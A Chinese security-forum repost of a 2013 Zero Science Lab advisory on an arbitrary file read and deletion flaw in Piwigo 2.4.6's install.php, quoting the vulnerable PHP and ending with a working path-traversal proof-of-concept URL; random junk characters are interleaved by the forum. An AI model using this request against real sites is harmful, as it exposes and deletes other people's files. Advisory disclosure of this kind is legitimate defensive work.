中国网络渗透测试联盟
标题:
Piwigo任意文件泄露和任意文件删除漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:15
标题:
Piwigo任意文件泄露和任意文件删除漏洞
Piwigo是用PHP编写的相册脚本。
- R$ T# L: r8 S5 H1 K
$ ]. R" s: G- Y- Z& y0 K, Q* ^
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
8 {# h( Q% |$ p" b0 X* |3 ?! }+ |
====================================================================
$ {& k4 b0 l* g" j8 Q% j+ g
/install.php:
}9 ~- ]1 x! S- K1 m2 n
-------------
" u5 {3 O/ J3 G% X8 W( U& a6 |" [
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
8 l# o# ]8 s7 D: y1 C5 c0 Y3 r
114: {
$ B4 |/ M0 u6 t% q5 T
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
7 i2 G3 t7 U3 `& a$ y- p" A3 N
116: header('Cache-Control: no-cache, must-revalidate');
- i4 n7 g' x6 C" O$ L+ n+ U
117: header('Pragma: no-cache');
2 I k& a% m& ~$ ^3 I( Z
118: header('Content-Disposition: attachment; filename="database.inc.php"');
) A; o2 p* i% ]' j9 O# l0 ]
119: header('Content-Transfer-Encoding: binary');
* ^+ H* b* T% `6 }& x+ z D
120: header('Content-Length: '.filesize($filename));
# f* _2 P4 c# p2 t; C
121: echo file_get_contents($filename);
/ v A' O- V) h7 _
122: unlink($filename);
) a3 g7 f) f: U3 J9 r' }
123: exit();
# @( o7 J8 `& X) ]
124: }
5 L4 I6 L$ N3 P5 ^, H- J0 Q
====================================================================
+ q) t) _5 P( U& D/ k% X
' f" ^& |! k1 b# i
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
; {, ^& T: |. d; w
Apache 2.4.2 (Win32)
: [5 {% q! T2 ^8 E/ v
PHP 5.4.4
3 A" _7 r+ q1 V% y
MySQL 5.5.25a
d: C, n6 i0 D
- N6 ~- }- n; ?3 T0 f
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
. }1 X9 z5 F( m
@zeroscience
N( N- |9 [ v- i4 N' R. K
5 ]/ S5 S/ ~* f; ]+ F! a' d' e
Advisory ID: ZSL-2013-5127
/ B6 X5 r p" _1 h- q4 ~
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
2 v( F0 T! ^4 G! o
Vendor Patch:
http://piwigo.org/bugs/view.php?id=2843
0 ]) g3 \* j2 D9 y9 v) j, `! c
2 ]! W+ j) l+ l0 ^ D- V. `
15.02.2013
F3 ]4 s5 C4 \ Z0 j) A$ p% S# K
; u7 L$ c, [7 S, n4 [4 M
--
! e5 k9 \: s* C7 w! A" a5 f
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
+ o( \, }& X# p) w
( I: Y0 q4 J# \+ ~( R
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2